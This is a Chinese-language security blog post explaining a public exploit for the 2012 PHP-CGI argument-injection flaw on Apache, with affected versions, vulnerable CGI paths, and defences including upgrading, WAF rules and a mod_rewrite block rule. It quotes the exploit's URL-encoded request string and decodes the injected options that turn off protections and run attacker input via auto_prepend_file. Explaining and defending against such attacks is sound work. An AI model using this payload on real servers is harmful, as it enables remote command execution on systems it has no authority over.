关于近期发布的apache+php cgi mod 攻击代码

一、缘起:

1、攻击代码
国际知名的漏洞攻击代码发布机构 exploit-db发布了一个针对apache+php的攻击代码,作者为著名国际黑客Kingcope。详见 http://www.exploit-db.com/exploits/29290/
攻击效果图源于网络

2、时间

实际上这个漏洞在2012年5月份就被发现了,php官方也修复了这个漏洞。
详见 http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

3、成因

php作为cgi模式运行的时候,接受-s  -d -c 这样的参数,我们看看这些参数的功能

-s Output HTML syntax highlighted source
-d foo[=bar] Define INI entry foo with value bar

然后再看看攻击代码片段

char poststr[] = "POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F" \
 "%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64" \
 "+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73" \
 "%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E" \
 "%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63" \
 "%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62" \
 "%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74" \
 "%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68" \
 "%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F" \
 "%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63" \
 "%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73" \
 "%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1\r\n" \

解码出来是

%s?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation3Don -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.fo"rce_redirect=0 -d cgi.redirect_status_env=0 -n

这样Kingcope的攻击代码思路就出来了。

关闭各种防护的参数,打开各种危险的参数,最后利用auto_prepend_file(或auto_append_file)这个参数把黑客需要执行的系统命令传递过去了。

二、利用条件

不少同学关注利用条件,针对上述公开的exp,总结一下,要利用这个漏洞,必须同时满足如下条件:
1、apache+php是用cgi模式跑的,例如apache的mod_cgid
2、php解释器需要可以从下面的url访问到,当然或许可能是其他的url,这个具体要看你的配置

/cgi-bin/php
/cgi-bin/php5
/cgi-bin/php-cgi
/cgi-bin/php.cgi
/cgi-bin/php4

3、php版本
PHP版本小于5.3.12
PHP版本小于5.4.2

三、防护

0、升级到php的最新稳定版
1、如果你有web应用防火墙,那么可以在waf上拦截上述url及利用到的关键字,(小心黑客用一些编码技巧绕过你的规则)然后给运维充足的时间去升级。扯远一点,waf部署容易运营难,这也是为什么好些公司部署了waf但是依然web被黑的原因之一。

2、如果你没有waf,又想为升级php争取时间,可以考虑下列rewrite规则

RewriteEngine on
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|\- [NC]
RewriteRule .? - [F,L]

四、FAQ

Q:nginx+php fastcgi模式是否受这个攻击代码影响?
A:暂时不受公开的攻击代码影响,但有空最好还是升级一下php。

Q:nginx+php+fpm模式是否受这个攻击代码影响?
A:暂时不受公开的攻击代码影响,但有空最好还是升级一下php。

素包子 https://baoz.net

还没有评论,快来抢沙发!

发表评论

  • 😉
  • 😐
  • 😡
  • 😈
  • 🙂
  • 😯
  • 🙁
  • 🙄
  • 😛
  • 😳
  • 😮
  • emoji-mrgree
  • 😆
  • 💡
  • 😀
  • 👿
  • 😥
  • 😎
  • ➡
  • 😕
  • ❓
  • ❗
  • 74 queries in 0.635 seconds